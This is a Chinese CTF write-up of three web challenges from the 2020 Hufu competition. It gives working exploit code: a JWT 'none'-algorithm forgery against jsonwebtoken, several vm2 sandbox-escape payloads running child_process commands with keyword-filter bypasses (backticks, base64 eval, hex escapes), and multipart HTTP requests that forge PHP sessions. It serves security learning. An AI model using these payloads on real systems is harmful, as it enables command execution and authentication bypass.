2020数字中国创新大道虎符网络安全赛道Web题解

2020数字中国创新大道虎符网络安全赛道Web题解

0x01 easy_login

可以扫到源码,看到是Koa框架,然后搜了下框架相关的知识,看到这篇

image-20200419192757519

然后访问可以得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//app.js
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 80;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//controller.js
const fs = require('fs');

function addMapping(router, mapping) {
for (const url in mapping) {
if (url.startsWith('GET ')) {
const path = url.substring(4);
router.get(path, mapping[url]);
} else if (url.startsWith('POST ')) {
const path = url.substring(5);
router.post(path, mapping[url]);
} else {
console.log(`invalid URL: ${url}`);
}
}
}

function addControllers(router, dir) {
fs.readdirSync(__dirname + '/' + dir).filter(f => {
return f.endsWith('.js');
}).forEach(f => {
const mapping = require(__dirname + '/' + dir + '/' + f);
addMapping(router, mapping);
});
}

module.exports = (dir) => {
const controllers_dir = dir || 'controllers';
const router = require('koa-router')();
addControllers(router, controllers_dir);
return router.routes();
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//rest.js
module.exports = {
APIError: function (code, message) {
this.code = code || 'internal:unknown_error';
this.message = message || '';
},
restify: () => {
const pathPrefix = '/api/';
return async (ctx, next) => {
if (ctx.request.path.startsWith(pathPrefix)) {
ctx.rest = data => {
ctx.response.type = 'application/json';
ctx.response.body = data;
};
try {
await next();
} catch (e) {
ctx.response.status = 400;
ctx.response.type = 'application/json';
ctx.response.body = {
code: e.code || 'internal_error',
message: e.message || ''
};
}
} else {
await next();
}
};
}
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
//controller/api.js
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

有注册和登录的功能,

image-20200419174209067

不可以注册admin,随机生成密钥,并将密钥按序保存到全局secrets数组中,利用jwt.sign来生成secretid, username, password的token。

image-20200419174551545

登录时先获取secretid值,然后在全局的secrets里面获取密钥,之后利用jwt.verify()解密。

image-20200419175030662

并且只有username为admin时才能得到flag。

题目提示说:

image-20200419173928204

是依赖库有问题,然后看package.json

image-20200419174014185

然后从这篇文章里看到

image-20200419175440994

然后看本题登录时解token的密钥,

image-20200419181915396

首先是通过提取token中的secretid,然后判断sid是否合法。然后将取secrets[sid]作为jwt解密的密钥,若此处secret不存在,jsonwebtoken会采用algorithm none进行解密,然后我们就可以通过伪造jwt变成admin,然后就可以得到flag。

然后回溯sid,当sid能够满足sid < global.secrets.length && sid >= 0而且secriets[sid]为空,那么当sid为0.1能够满足,之后即可伪造admin。

image-20200419193914408

解题步骤:

  1. 先得到非admin的jwt,利用jet.io解密。

    image-20200419193720626

    image-20200419194336137

  2. 伪造jwt。

    1
    2
    3
    4
    5
    6
    7
    8
    import jwt
    token = jwt.encode({
    "secretid": 0.1,
    "username": "admin",
    "password": "dddd",
    "iat": 1587324387
    },algorithm="none",key="").decode(encoding='utf-8')
    print(token)

image-20200419195024687

  1. 替换token登录。

    image-20200419195111379

  2. 修改cookie,访问/api/flag。

    image-20200419195449455

之后看来赵总的wp,他是用的将sid赋值为空数组,因为在javascript中,空数组与数字比较永远为真,下面是测试代码

image-20200420163634128

1
2
3
4
5
6
7
8
import jwt
token = jwt.encode({
"secretid": [],
"username": "admin",
"password": "dddd",
"iat": 1587324387
},algorithm="none",key="").decode(encoding='utf-8')
print(token)

image-20200420164707008

0x02 just_escape

这题是一道nodejs沙箱题,改的之前一个国外比赛的题,加了限制,过滤了单引号、双引号和一些关键字(child_process、execSync、prototype、constructor、process)。

首先可以查到,已经有表哥发了exp,然后就是对过滤的绕过了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

首先引号可以用反引号`来绕过,关键字通过

1
`${`${`prototyp`}e`}`
image-20200419173554611

这样字符串拼接来绕过

payload:

1
2
3
4
5
6
7
8
(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()
1
2
3
4
5
6
7
8
9
10
11
(function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f[`${`${`constructo`}r`}`](`${`${`return proces`}s`}`)();
}
}));
}catch(e){
return e(()=>{}).mainModule.require(`${`${`child_proces`}s`}`)[`${`${`exe`}c`}Sync`](`whoami`).toString();
}
})()

官方payload:

1
(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat flag`)[`toString`](); } })()

chamd5 解法

  • 利用base64编码绕过关键字的过滤
1
global[[`eva`,%20`l`].join(``)](Buffer.from(`VHlwZUVycm9yLnByb3RvdHlwZS5nZXRfcHJvY2VzcyA9IGYgPT4gZi5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MiKSgpOwp0cnkgewogICAgT2JqZWN0LnByZXZlbnRFeHRlbnNpb25zKEJ1ZmZlci5mcm9tKCIiKSkuYSA9IDE7Cn0gY2F0Y2ggKGUpIHsKICAgIGUuZ2V0X3Byb2Nlc3MoKCkgPT4geyB9KS5tYWluTW9kdWxlLnJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjU3luYygiY2F0IC9mbGFnIikudG9TdHJpbmcoKTsKfQ==`,%20`base64`).toString(`ascii`));
  • 利用hex绕过
1
(function(){TypeError[String.fromCharCode(112,114,111,116,111,116,121,112,101)][`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`] = f=>f[`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`](`\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x6f\x63\x65\x73\x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`](()=>{}).mainModule.require((`\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73`))[`\x65\x78\x65\x63\x53\x79\x6e\x63`](`cat /flag`).toString();}})()
1
2
3
4
5
6
7
8
9
10
11
(function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f[`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`](`\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x6f\x63\x65\x73\x73`)();
}
}));
}catch(e){
return e(()=>{}).mainModule.require(`\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73`)[`\x65\x78\x65\x63\x53\x79\x6e\x63`](`cat /flag`).toString();
}
}()

附上自己编的hex编码脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def fun(string):
result = ""
for i in string:
result += str(ord(i))
result += ","
return result[0:-1]

print "String.fromCharCode("+fun("prototype")+")"

def fun(string):
result = ""
for i in string:
result += "\\x"
result += i.encode("hex")
return result

print "`"+fun("get_process")+"`"

0x03 babyupload

题目直接给了源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

首先开启了session机制,初始设置$_SESSION['username']='guest'如果$_SESSION['username'] ==='admin'而且/var/babyctf/success.txt这个文件存在,就可以输出flag,然后看接下来的部分,通过direction可以设置上传或下载,有上传和下载的功能,上传需要自己伪造上传表单,文件路径通过

1
2
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

来拼接,下载文件的文件名

1
2
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;

通过他来拼接,$dirpath为

1
2
3
4
5
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}

然后分析得到解题步骤如下:

  1. 下载sess_xx文件,获取服务端sess保存机制。
  2. 上传文件伪造admin的session,取得伪造后的PHPSESSID,
  3. 通过attr上传success.txt文件夹。
  4. 修改cookie,刷新界面

首先下载服务器端sess_xx文件

image-20200419165506846

文件内容为

1
usernames:5:"guest";//有一个不可见字符为0x08

后来得知后端php采用的是php_binary的session保存机制,键名长度对应的asc字符 键名 serialize后的字符串

然后本地搭建环境,修改源码输出文件保存的路径

image-20200419165338104

发包;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /hf/index.php HTTP/1.1
Host: 192.168.35.158
Content-Length: 318
Cache-Control: max-age=0
Origin: http://192.168.35.158
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary74eU7CTX7U8Fmuv0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.35.158/hf/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=gijbgl5915bkhhlu6ldn446u3l
Connection: close

------WebKitFormBoundary74eU7CTX7U8Fmuv0
Content-Disposition: form-data; name="direction"

upload
------WebKitFormBoundary74eU7CTX7U8Fmuv0
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: application/octet-stream

usernames:5:"admin";
------WebKitFormBoundary74eU7CTX7U8Fmuv0--

image-20200419165647345

这里的文件名也可以以另一种方法获得,

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php_binary');

session_start();
$_SESSION['username'] = 'admin';
var_dump($_SESSION);
?>

然后查看tmp目录,对应得生成得sess文件如下图:

image-20200420162317571

然后直接计算hash值

image-20200420162432734

然后向服务器端上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /index.php HTTP/1.1
Host: 6a26ba086a9d4a20a30b6f98d683123677f302903f364ff8.changame.ichunqiu.com
Content-Length: 318
Cache-Control: max-age=0
Origin: http://e663f4c6b5e24170b6528d6d8b672a197f04b6d3d4ce4f7e.changame.ichunqiu.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary74eU7CTX7U8Fmuv0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.35.158/hf/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=gijbgl5915bkhhlu6ldn446u3l
Connection: close

------WebKitFormBoundary74eU7CTX7U8Fmuv0
Content-Disposition: form-data; name="direction"

upload
------WebKitFormBoundary74eU7CTX7U8Fmuv0
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: application/octet-stream

usernames:5:"admin";
------WebKitFormBoundary74eU7CTX7U8Fmuv0--

image-20200419165744260

可以检测一下文件是否上传成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST / HTTP/1.1
Host: 6a26ba086a9d4a20a30b6f98d683123677f302903f364ff8.changame.ichunqiu.com
Content-Length: 312
Cache-Control: max-age=0
Origin: http://e663f4c6b5e24170b6528d6d8b672a197f04b6d3d4ce4f7e.changame.ichunqiu.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary74eU7CTX7U8Fmuv0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=gijbgl5915bkhhlu6ldn446u3l
Connection: close

------WebKitFormBoundary74eU7CTX7U8Fmuv0
Content-Disposition: form-data; name="direction"

download
------WebKitFormBoundary74eU7CTX7U8Fmuv0
Content-Disposition: form-data; name="filename"

sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
------WebKitFormBoundary74eU7CTX7U8Fmuv0--

image-20200419170141101

之后通过attr建立success.txt文件夹,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /index.php HTTP/1.1
Host: 6a26ba086a9d4a20a30b6f98d683123677f302903f364ff8.changame.ichunqiu.com
Content-Length: 420
Cache-Control: max-age=0
Origin: http://e663f4c6b5e24170b6528d6d8b672a197f04b6d3d4ce4f7e.changame.ichunqiu.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary74eU7CTX7U8Fmuv0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.35.158/hf/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=gijbgl5915bkhhlu6ldn446u3l
Connection: close

------WebKitFormBoundary74eU7CTX7U8Fmuv0
Content-Disposition: form-data; name="direction"

upload
------WebKitFormBoundary74eU7CTX7U8Fmuv0
Content-Disposition: form-data; name="attr"

success.txt
------WebKitFormBoundary74eU7CTX7U8Fmuv0
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: application/octet-stream

usernames:5:"admin";
------WebKitFormBoundary74eU7CTX7U8Fmuv0--

image-20200419165832078

然后修改cookie,刷新界面。

image-20200419165937895